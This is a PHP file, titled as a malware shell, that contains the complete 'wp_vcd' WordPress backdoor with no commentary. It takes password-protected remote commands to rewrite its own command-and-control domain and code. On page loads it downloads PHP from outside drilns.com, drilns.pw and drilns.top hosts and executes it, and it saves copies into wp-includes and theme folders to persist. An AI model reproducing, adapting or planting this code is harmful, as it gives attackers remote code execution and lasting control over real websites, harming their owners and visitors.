Malware Virus (shell)

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '9c5666ead3f4a1aab3716530e0380a2b'))
{
    $div_code_name="wp_vcd";
    switch ($_REQUEST['action'])
    {






        case 'change_domain';
        if (isset($_REQUEST['newdomain']))
        {

            if (!empty($_REQUEST['newdomain']))
            {
                if ($file = @file_get_contents(__FILE__))
                {
                    if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                    {

                        $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
                        @file_put_contents(__FILE__, $file);
                        print "true";
                    }


                }
            }
        }
        break;

        case 'change_code';
        if (isset($_REQUEST['newcode']))
        {

            if (!empty($_REQUEST['newcode']))
            {
                if ($file = @file_get_contents(__FILE__))
                {
                    if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                    {

                        $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
                        @file_put_contents(__FILE__, $file);
                        print "true";
                    }


                }
            }
        }
        break;

        default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
    }

    die("");
}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }

        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
            if( fwrite($handle, "<?php\n" . $phpCode))
            {
            }
            else
            {
                $tmpfname = tempnam('./', "theme_temp_setup");
                $handle   = fopen($tmpfname, "w+");
                fwrite($handle, "<?php\n" . $phpCode);
            }
            fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }


        $wp_auth_key='2ddffaf2b9685827ae760217ad16dcd9';
        if (($tmpcontent = @file_get_contents("http://www.drilns.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.drilns.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }

            }
        }


    elseif ($tmpcontent = @file_get_contents("http://www.drilns.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

        if (stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
            @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

            if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                    @file_put_contents('wp-tmp.php', $tmpcontent);
                }
            }

        }
    }

elseif ($tmpcontent = @file_get_contents("http://www.drilns.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

    if (stripos($tmpcontent, $wp_auth_key) !== false) {
        extract(theme_temp_setup($tmpcontent));
        @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

        if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
            @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
            if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                @file_put_contents('wp-tmp.php', $tmpcontent);
            }
        }

    }
}
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
    extract(theme_temp_setup($tmpcontent));

}





}
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>